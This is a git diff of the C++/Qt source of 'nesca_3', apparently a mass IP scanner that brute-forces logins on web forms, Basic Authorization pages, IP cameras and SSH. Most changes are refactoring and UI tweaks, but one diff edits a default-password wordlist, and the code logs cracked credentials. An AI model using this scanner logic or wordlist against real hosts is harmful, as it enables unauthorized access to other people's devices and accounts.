sprintf(log, "<span id=\"hostSpan\"><a href=\"http://%s:%s\"/><font color=MediumSeaGreen>%s:%s</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>%d</font>",
strcpy(log, "<font color=GreenYellow>"); ip, port, ip, port, recd);
strcat(log, hl);
strcat(log, "</font>");
int flr = 40 - strlen(hl);
if(flr > 0)
{
while(flr != 0)
{
strcat(log, " ");
--flr;
};
}
else strcat(log, " ");
strcat(log, "<span id=\"hostSpan\"><a href=\"http://");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "\"/><font color=MediumSeaGreen>");
strcat(log, ip);
strcat(log, ":");
strcat(log, port);
strcat(log, "</font></a>;</span> <span id=\"recvSpan\">Received: <font color=SteelBlue>");
strcat(log, std::to_string(recd).c_str());
strcat(log, "</font>");
if(flag == 666 || flag == 350) if(flag == 666 || flag == 350)
{ {
@ -795,7 +760,7 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
ZeroMemory(msg, strlen(msg)); ZeroMemory(msg, strlen(msg));
} }
void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag) void _specFillerBA(char *hl, const char *ip, char *port, char *finalstr, const char *login, const char *pass, int flag)
{ {
char log[512] = {0}; char log[512] = {0};
@ -814,7 +779,7 @@ void _specFillerBA(char *hl, char *ip, char *port, char *finalstr, const char *l
fputsf (log , flag, "Basic Authorization"); fputsf (log , flag, "Basic Authorization");
} }
void _specFillerWF(char *hl, char *ip, char *port, char *finalstr, char *login, char *pass, int flag) void _specFillerWF(char *hl, const char *ip, char *port, char *finalstr, char *login, char *pass, int flag)
{ {
char log[512] = {0}; char log[512] = {0};
@ -1025,7 +990,7 @@ void _getInputVal(std::vector<std::string> inputVec, char *buff, char *key)
}; };
} }
void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title) void _specWFBrute(const char *ip, int port, char *hl, const char *buff, int flag, char *path, char *comment, char *tclass, char *cp, int recd, char *title)
{ {
if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL) if(strstr(buff, "VER_CODE") != NULL || strstri(buff, "captcha") != NULL)
{ {
@ -1194,7 +1159,7 @@ void _specWFBrute(char *ip, int port, char *hl, const char *buff, int flag, char
}; };
} }
void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC) void _specWEBIPCAMBrute(const char *ip, int port, char *hl, char *finalstr, int flag, char *comment, char *cp, int recd, char *SPEC)
{ {
lopaStr lps; lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
@ -1213,7 +1178,7 @@ void _specWEBIPCAMBrute(char *ip, int port, char *hl, char *finalstr, int flag,
}; };
} }
void _specBrute(char *cookie, char *ip, int port, void _specBrute(char *cookie, const char *ip, int port,
char *hl, char *finalstr, int flag, char *hl, char *finalstr, int flag,
char *path, char *comment, char *cp, int recd) char *path, char *comment, char *cp, int recd)
{ {
@ -1223,9 +1188,6 @@ void _specBrute(char *cookie, char *ip, int port,
const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port); const lopaStr &lps = BA::_BALobby((string(ip) + string(path)).c_str(), port);
//if(strcmp(comment, "[DIGEST]") == 0) lps = _BALobby(cookie, ip, port, path, "[DIGEST]");
//else lps = _BALobby(cookie, ip, port, path, "[NORMAL]");
if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0) if(strstr(lps.login, "UNKNOWN") == NULL && strlen(lps.other) == 0)
{ {
_specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag); _specFillerBA(hl, ip, tport, finalstr, lps.login, lps.pass, flag);
@ -1352,7 +1314,7 @@ const char *GetTitle(const char* str)
return finalstr; return finalstr;
} }
void _saveSSH(char *ip, int port, int recd, const char *buffcpy) void _saveSSH(const char *ip, int port, int recd, const char *buffcpy)
{ {
if(buffcpy != NULL) if(buffcpy != NULL)
{ {
@ -1442,7 +1404,9 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
{ {
int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst); int rh = _header(ip, p, buffcpy, lx, &ps, &redirStrLst);
strcpy(cp, ps.codepage); strcpy(cp, ps.codepage);
if (rh == -1) return -1; if (rh == -1) {
return -1;
}
if(rh <= -2) if(rh <= -2)
{ {
flag = ps.flag; flag = ps.flag;
@ -1462,7 +1426,9 @@ int Lexems::_filler(int p, const char* buffcpy, char* ip, int recd, Lexems *lx,
sprintf(port, "%d", p); sprintf(port, "%d", p);
if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr); if(strstr(finalstr, ps.headr) == NULL) strcat(finalstr, ps.headr);
if(flag == -1 || flag == 6) return -1; if (flag == -1 || flag == 6) {
return -1;
}
if(flag == 16) if(flag == 16)
{ {
@ -2558,59 +2524,59 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
return -2; return -2;
}; };
if(strstri(str, "<form ") != NULL) //if(strstri(str, "<form ") != NULL)
{ //{
strcat(ps->headr, " [Login form detected]"); // strcat(ps->headr, " [Login form detected]");
char *ptr1 = strstri(str, "<form"); // char *ptr1 = strstri(str, "<form");
char *ptr2 = strstri(ptr1, "action"); // char *ptr2 = strstri(ptr1, "action");
if(ptr2 != NULL) // if(ptr2 != NULL)
{ // {
char *ptr3 = strstri(ptr2, "="); // char *ptr3 = strstri(ptr2, "=");
if(ptr3 != NULL) // if(ptr3 != NULL)
{ // {
char *ptr4 = NULL; // char *ptr4 = NULL;
char *ptrEnd = NULL; // char *ptrEnd = NULL;
int sz = 0; // int sz = 0;
char redirStr[512] = {0}; // char redirStr[512] = {0};
if(ptr3[1] == ' ' || ptr3[1] == '"' || ptr3[1] == '\"') // if(ptr3[1] == ' ' || ptr3[1] == '"' || ptr3[1] == '\"')
{ // {
ptr4 = _findFirst(ptr3, " \"'\n\r"); // ptr4 = _findFirst(ptr3, " \"'\n\r");
if(ptr4 != NULL) // if(ptr4 != NULL)
{ // {
ptrEnd = _findFirst(ptr4 + 1, " \"'\n\r"); // ptrEnd = _findFirst(ptr4 + 1, " \"'\n\r");
if(ptrEnd != NULL) // if(ptrEnd != NULL)
{ // {
sz = ptrEnd - ptr4 - 1; // sz = ptrEnd - ptr4 - 1;
strncpy(redirStr, ptr4 + 1, sz < 512 ? sz : 512); // strncpy(redirStr, ptr4 + 1, sz < 512 ? sz : 512);
}; // };
}; // };
} // }
else // else
{ // {
ptrEnd = _findFirst(ptr3, " \"'\n\r"); // ptrEnd = _findFirst(ptr3, " \"'\n\r");
if(ptrEnd != NULL) // if(ptrEnd != NULL)
{ // {
sz = ptrEnd - ptr3 - 1; // sz = ptrEnd - ptr3 - 1;
strncpy(redirStr, ptr3 + 1, sz < 512 ? sz : 512); // strncpy(redirStr, ptr3 + 1, sz < 512 ? sz : 512);
}; // };
}; // };
if (redirStr[0] != '#') { // if (redirStr[0] != '#') {
if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end()) // if (std::find(redirStrLst->begin(), redirStrLst->end(), redirStr) == redirStrLst->end())
{ // {
redirStrLst->push_back(redirStr); // redirStrLst->push_back(redirStr);
return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst); // return redirectReconnect(ps->cookie, ip, port, redirStr, l, ps, redirStrLst);
} return -1; // } return -1;
} // }
return -2; // return -2;
}; // };
} // }
else // else
{ // {
strcat(ps->headr, " [Form action not found]"); // strcat(ps->headr, " [Form action not found]");
}; // };
return 0; // return 0;
}; //};
if(strlen(ps->headr) == 0) if(strlen(ps->headr) == 0)
{ {
@ -2624,29 +2590,27 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
strcat(ps->headr, "[No body]"); strcat(ps->headr, "[No body]");
}; };
if(strstr(str, "\r\n\r\n") != NULL) const char *ptr1 = strstr(str, "\r\n\r\n");
if( ptr1 != NULL)
{ {
const char *tempStr = strstr(str, "\r\n\r\n"); if (strlen(ptr1) - 4 >= 15)
if(strlen(tempStr) - 4 >= 250)
{ {
if(strstr(str, "Content-Encoding: gzip") != NULL)
{
strcat(ps->headr, "[GZIP]");
};
strcat(ps->headr, " [Data: "); strcat(ps->headr, " [Data: ");
if(strstri(tempStr + 4, "<body") != NULL)
char *ptr2 = strstri(ptr1 + 4, "<body");
if (ptr2 != NULL)
{ {
strncat(ps->headr, strstri(tempStr, "<body") + 5, 64); strncat(ps->headr, ptr2 + 5, 64);
} }
else if(strstri(tempStr + 4, "<html") != NULL) else {
ptr2 = strstri(ptr1 + 4, "<html");
if (ptr2 != NULL)
{ {
strncat(ps->headr, strstri(tempStr, "<html") + 5, 64); strncat(ps->headr, strstri(ptr1, "<html") + 5, 64);
} }
else if(strstri(tempStr + 4, "</style>") != NULL) else strncat(ps->headr, ptr1 + 4, 64);
{ };
strncat(ps->headr, strstri(tempStr, "</style>") + 8, 64);
}
else strncat(ps->headr, tempStr + 4, 64);
strcat(ps->headr, "]"); strcat(ps->headr, "]");
} }
else else
@ -2658,7 +2622,7 @@ int Lexems::_header(char *ip, int port, const char str[], Lexems *l, PathStr *ps
++Filt; ++Filt;
strcpy(ps->path, "/"); strcpy(ps->path, "/");
return 0; return -1;
}; };
} }
else else

View File

@ -4,7 +4,6 @@ root
123456 123456
12345 12345
cisco cisco
super super
meinsm meinsm
@ -22,6 +21,8 @@ telecom
dreambox dreambox
master master
Admin Admin
Root
guest guest
backup backup
cgadmin
0000
1111

View File

@ -1,4 +1,4 @@
#pragma once #pragma once
#include "base64.h" #include "base64.h"
#include <libssh/libssh.h> #include <libssh/libssh.h>
@ -137,9 +137,9 @@ class Lexems
PathStr *ps, PathStr *ps,
std::vector<std::string> *lst); std::vector<std::string> *lst);
int _filler(int p, int _filler(int port,
const char *buffcpy, const char *buffcpy,
char* ipi, char* ip,
int recd, int recd,
Lexems *lx, Lexems *lx,
char *hl); char *hl);
@ -187,6 +187,6 @@ class Connector_old
}; };
extern lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC); extern lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC);
//extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method); //extern lopaStr _BALobby(char *cookie, char *ip, int port, char *path, char *method);
//extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps); //extern lopaStr _FTPLobby(char *ip, int port, PathStr *ps);

View File

@ -1,8 +1,8 @@
#include "msgcheckerthread.h" #include "msgcheckerthread.h"
#include "externData.h" #include "externData.h"
#include "mainResources.h" #include "mainResources.h"
#include <Utils.h> #include "Utils.h"
#include <Connector.h> #include "Connector.h"
void MSGCheckerThread::doEmitionShowNewMsg(QString str) void MSGCheckerThread::doEmitionShowNewMsg(QString str)
{ {

View File

@ -292,7 +292,6 @@ domain has been registered
domain name registration domain name registration
domain registered domain registered
domainapps.com domainapps.com
sale
domeny domeny
domeingeregistreerd domeingeregistreerd
down for maint down for maint

View File

@ -746,10 +746,10 @@ void nesca_3::slotAddPolyLine()
if(ME2ScanFlag) if(ME2ScanFlag)
{ {
QPainterPath path; QPainterPath path;
if (DrawerTh_ME2Scanner::polyVect.size() > 0) if (DrawerTh_ME2Scanner::vecSize > 0)
{ {
path.moveTo(DrawerTh_ME2Scanner::polyVect[0]); path.moveTo(DrawerTh_ME2Scanner::polyVect[0]);
for (int i = 1; i < DrawerTh_ME2Scanner::polyVect.size(); ++i) for (int i = 1; i < DrawerTh_ME2Scanner::vecSize; ++i)
{ {
path.lineTo(DrawerTh_ME2Scanner::polyVect[i]); path.lineTo(DrawerTh_ME2Scanner::polyVect[i]);
}; };
@ -759,6 +759,7 @@ void nesca_3::slotAddPolyLine()
itm->setPen(pen2i); itm->setPen(pen2i);
sceneGraph->addItem(itm); sceneGraph->addItem(itm);
DrawerTh_ME2Scanner::itmList.push_front(itm); DrawerTh_ME2Scanner::itmList.push_front(itm);
DrawerTh_ME2Scanner::polyVect.clear();
int u = 0; int u = 0;
double uu = 1.0; double uu = 1.0;
@ -778,7 +779,6 @@ void nesca_3::slotAddPolyLine()
delete DrawerTh_ME2Scanner::itmList[38]; delete DrawerTh_ME2Scanner::itmList[38];
DrawerTh_ME2Scanner::itmList.pop_back(); DrawerTh_ME2Scanner::itmList.pop_back();
}; };
}; };
} }
@ -1484,7 +1484,7 @@ void nesca_3::CheckPersKey()
if(!chKTh->isRunning()) if(!chKTh->isRunning())
{ {
stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); stt->doEmitionYellowFoundData("[Key check] Starting checker thread...");
chKTh->start(); chKTh->start();
} }
else else
@ -1500,7 +1500,7 @@ void nesca_3::CheckPersKey(int val = -1)
if(!chKTh->isRunning()) if(!chKTh->isRunning())
{ {
stt->doEmitionYellowFoundData("[Key check] Starting checker-thread..."); stt->doEmitionYellowFoundData("[Key check] Starting checker thread...");
chKTh->start(); chKTh->start();
} }
else else
@ -1875,7 +1875,7 @@ void nesca_3::slotIRCGetTopic(QString str)
int c = 1; int c = 1;
void nesca_3::slotSaveImage() void nesca_3::slotSaveImage(QAction *qwe)
{ {
QObject *smB = this->sender(); QObject *smB = this->sender();
int ci = ui->tabMainWidget->currentIndex(); int ci = ui->tabMainWidget->currentIndex();
@ -1960,7 +1960,7 @@ void PieStatView::contextMenuEvent(QContextMenuEvent *event)
menuPS->addAction("Save image."); menuPS->addAction("Save image.");
menuPS->popup(event->globalPos()); menuPS->popup(event->globalPos());
connect(menuPS, SIGNAL(triggered()), gthis, SLOT(slotSaveImage())); connect(menuPS, SIGNAL(triggered(QAction *)), gthis, SLOT(slotSaveImage(QAction *)));
} }
QLabel *msgLbl; QLabel *msgLbl;
@ -3158,9 +3158,9 @@ void RestoreSession()
if (strstr(resStr, "[TIMEOUT]:") != NULL) { if (strstr(resStr, "[TIMEOUT]:") != NULL) {
const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:"); const QString &tempLex = loadNescaSetup(resStr, "[TIMEOUT]:");
if(tempLex.toInt() > 0) { if(tempLex.toInt() > 0) {
ui->iptoLine_value->setText(tempLex); ui->iptoLine_value->setText(tempLex.simplified());
ui->iptoLine_value_2->setText(tempLex); ui->iptoLine_value_2->setText(tempLex.simplified());
ui->iptoLine_value_3->setText(tempLex); ui->iptoLine_value_3->setText(tempLex.simplified());
} }
} }
setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr); setUIText("[MAXBTHR]:", ui->maxBrutingThrBox, resStr);
@ -3236,7 +3236,7 @@ const char *GetVer()
char db[32] = {0}; char db[32] = {0};
sprintf(db, "%X-%X", dver, tver); sprintf(db, "%X-%X", dver, tver);
return std::string(db).c_str(); return db;
} }
void nesca_3::slotShowRedVersion() void nesca_3::slotShowRedVersion()
@ -3280,9 +3280,8 @@ void _startMsgCheck()
ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000)); ui->ircNickBox->setText("nsa_" + QString::number(qrand() % 8999 + 1000));
const char *rVer = GetVer(); strcpy(gVER, GetVer());
QString QVER(rVer); QString QVER(gVER);
strcpy(gVER, QVER.toLatin1().data());
ui->logoLabel->setToolTip("v3-" + QVER); ui->logoLabel->setToolTip("v3-" + QVER);
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;"); ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);"); ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
@ -3304,7 +3303,7 @@ void _startMsgCheck()
if (WSAStartup(0x0101, &wsda)) if (WSAStartup(0x0101, &wsda))
{ {
stt->doEmitionRedFoundData("WSAStartup failed."); stt->doEmitionRedFoundData("WSAStartup failed.");
stt->doEmitionKillSttThread(); qApp->quit();
}; };
#endif #endif
@ -3343,8 +3342,7 @@ void nesca_3::mouseMoveEvent(QMouseEvent * event)
void nesca_3::exitButtonClicked() void nesca_3::exitButtonClicked()
{ {
globalScanFlag = false; STTTerminate();
stt->terminate();
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
WSACleanup(); WSACleanup();
#endif #endif
@ -3399,12 +3397,10 @@ void nesca_3::STTTerminate()
importFileName = ""; importFileName = "";
startFlag = false; startFlag = false;
globalScanFlag = false; globalScanFlag = false;
nCleanup();
stt->terminate();
while(__savingBackUpFile) Sleep(100); while(__savingBackUpFile) Sleep(100);
nCleanup();
ui->tabMainWidget->setTabEnabled(0, true); ui->tabMainWidget->setTabEnabled(0, true);
ui->tabMainWidget->setTabEnabled(1, true); ui->tabMainWidget->setTabEnabled(1, true);
ui->tabMainWidget->setTabEnabled(2, true); ui->tabMainWidget->setTabEnabled(2, true);
@ -3419,6 +3415,7 @@ void nesca_3::STTTerminate()
ui->startScanButton_4->setText("Start"); ui->startScanButton_4->setText("Start");
ui->importButton->setText("Import&&Scan"); ui->importButton->setText("Import&&Scan");
ui->labelStatus_Value->setText("Idle"); ui->labelStatus_Value->setText("Idle");
stt->terminate();
} }
bool dfLocked = false; bool dfLocked = false;

View File

@ -21,7 +21,7 @@
#include <qtextcodec.h> #include <qtextcodec.h>
#include <qjsondocument.h> #include <qjsondocument.h>
#include <libssh/libssh.h> #include <libssh/libssh.h>
#include <mainResources.h> #include "mainResources.h"
extern Ui::nesca_3Class *ui; extern Ui::nesca_3Class *ui;
extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait, extern bool widgetIsHidden, IRCLogToggled, blinkFlag, disableBlink, debugFileOK, QOSWait,
@ -89,7 +89,7 @@ protected:
void slotOutData(QString str); void slotOutData(QString str);
void slotIncData(QString ip, QString str); void slotIncData(QString ip, QString str);
void slotShowServerMsg(QString str); void slotShowServerMsg(QString str);
void slotSaveImage(); void slotSaveImage(QAction *qwe);
void slotUpdatePie(); void slotUpdatePie();
void slotClearLogs(); void slotClearLogs();
void slotRestartIRC(); void slotRestartIRC();

View File

@ -1,48 +0,0 @@
# ----------------------------------------------------
# This file is generated by the Qt Visual Studio Add-in.
# ------------------------------------------------------
# This is a reminder that you are using a generated .pro file.
# Remove it when you are finished editing this file.
message("You are running qmake on a generated .pro file. This may not work!")
HEADERS += ./base64.h \
./resource.h \
./nesca_3.h \
./ActivityDrawerTh_HorNet.h \
./STh.h \
./CheckKey_Th.h \
./DrawerTh_QoSScanner.h \
./CheckProxy_Th.h \
./DrawerTh_HorNet.h \
./DrawerTh_GridQoSScanner.h \
./DrawerTh_VoiceScanner.h \
./DrawerTh_ME2Scanner.h \
./darkmap.h \
./IRCPinger_Th.h \
./oIRC_Th.h \
./irc_nmblinker.h \
./msgpopup.h
SOURCES += ./ActivityDrawerTh_HorNet.cpp \
./base64.cpp \
./CheckKey_Th.cpp \
./CheckProxy_Th.cpp \
./connector.cpp \
./darkmap.cpp \
./DrawerTh_GridQoSScanner.cpp \
./DrawerTh_HorNet.cpp \
./DrawerTh_ME2Scanner.cpp \
./DrawerTh_QoSScanner.cpp \
./DrawerTh_VoiceScanner.cpp \
./finder.cpp \
./IRCPinger_Th.cpp \
./irc_nmblinker.cpp \
./main.cpp \
./msgpopup.cpp \
./nesca_3.cpp \
./nesca_startModule.cpp \
./oIRC_Th.cpp \
./STh.cpp
FORMS += ./nesca_3.ui
RESOURCES += nesca_3.qrc

View File

@ -1,20 +0,0 @@
# ----------------------------------------------------
# This file is generated by the Qt Visual Studio Add-in.
# ------------------------------------------------------
TEMPLATE = app
TARGET = nesca_3
DESTDIR = ../Win32/Release
QT += core widgets gui qml
CONFIG += release
DEFINES += QT_DLL QT_WIDGETS_LIB QT_QML_LIB
INCLUDEPATH += ./GeneratedFiles \
. \
../../../../../../../../Qt/Qt5.0.0/5.0.0/msvc2010/bin
DEPENDPATH += .
MOC_DIR += C:/Qt/Qt5.0.0/5.0.0/msvc2010/bin
OBJECTS_DIR += release
UI_DIR += ./GeneratedFiles
RCC_DIR += ./GeneratedFiles
include(nesca_3.pri)
win32:RC_FILE = nesca_3.rc

Binary file not shown.

View File

@ -1749,7 +1749,10 @@ border-radius: 3px;</string>
<property name="font"> <property name="font">
<font> <font>
<family>Eurostile</family> <family>Eurostile</family>
<pointsize>9</pointsize> <pointsize>8</pointsize>
<weight>50</weight>
<bold>false</bold>
<underline>false</underline>
</font> </font>
</property> </property>
<property name="styleSheet"> <property name="styleSheet">
@ -1780,8 +1783,8 @@ border-radius: 3px;</string>
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:9pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Verdana'; font-size:6pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="cursorWidth"> <property name="cursorWidth">
<number>5</number> <number>5</number>
@ -2543,7 +2546,7 @@ p, li { white-space: pre-wrap; }
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="cursorWidth"> <property name="cursorWidth">
@ -3527,7 +3530,7 @@ background-color: #000000;</string>
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="acceptRichText"> <property name="acceptRichText">
@ -3663,7 +3666,7 @@ p, li { white-space: pre-wrap; }
<string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt; <string>&lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.0//EN&quot; &quot;http://www.w3.org/TR/REC-html40/strict.dtd&quot;&gt;
&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt; &lt;html&gt;&lt;head&gt;&lt;meta name=&quot;qrichtext&quot; content=&quot;1&quot; /&gt;&lt;style type=&quot;text/css&quot;&gt;
p, li { white-space: pre-wrap; } p, li { white-space: pre-wrap; }
&lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:11pt; font-weight:400; font-style:normal;&quot;&gt; &lt;/style&gt;&lt;/head&gt;&lt;body style=&quot; font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;&quot;&gt;
&lt;p style=&quot;-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string> &lt;p style=&quot;-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</string>
</property> </property>
<property name="acceptRichText"> <property name="acceptRichText">

View File

@ -220,8 +220,9 @@ void _SaveBackupToFile()
{ {
for(int tCounter = gC; tCounter < flCounter; ++tCounter) for(int tCounter = gC; tCounter < flCounter; ++tCounter)
{ {
sprintf(ipRange, "%s-%d.%d.%d.%d\n", sprintf(ipRange, "%d.%d.%d.%d-%d.%d.%d.%d\n",
currentIP, ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]); ipsstartfl[tCounter][0], ipsstartfl[tCounter][1], ipsstartfl[tCounter][2], ipsstartfl[tCounter][3],
ipsendfl[tCounter][0], ipsendfl[tCounter][1], ipsendfl[tCounter][2], ipsendfl[tCounter][3]);
fputs(ipRange, savingFile); fputs(ipRange, savingFile);
@ -778,18 +779,21 @@ void _connect() {
while (globalScanFlag) { while (globalScanFlag) {
std::unique_lock<std::mutex> lk(Threader::m); std::unique_lock<std::mutex> lk(Threader::m);
Threader::cv.wait(lk, []{return Threader::ready; }); Threader::cv.wait(lk, []{return Threader::ready; });
if(globalScanFlag == false) break; if (Threader::threadId > gThreads || !globalScanFlag) {
if(Threader::threadId > gThreads) {
--Threader::threadId; --Threader::threadId;
Threader::ready = false;
lk.unlock();
return; return;
} }
if (!Threader::ipQueue.empty()) {
ip = Threader::ipQueue.front(); ip = Threader::ipQueue.front();
Threader::ipQueue.pop(); Threader::ipQueue.pop();
Threader::ready = false; Threader::ready = false;
lk.unlock(); lk.unlock();
if (ip.size() == 0) return;
ConInc(); ConInc();
for (int i = 0; i <= overallPorts; ++i) for (int i = 0; i <= overallPorts; ++i)
{ {
@ -799,19 +803,33 @@ void _connect() {
ConDec(); ConDec();
} }
} }
}
void targetAndIPWriter(long long unsigned int target, const char *ip) { void verboseProgress(long long unsigned int target, const char *ip) {
char targetNPers[32] = {0}; char targetNPers[128] = {0};
float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0); float percent = (gTargetsOverall != 0 ? (100 - target/(double)gTargetsOverall * 100) : 0);
stt->doEmitionIPRANGE(QString(ip)); stt->doEmitionIPRANGE(QString(ip));
strcpy(currentIP, ip); strcpy(currentIP, ip);
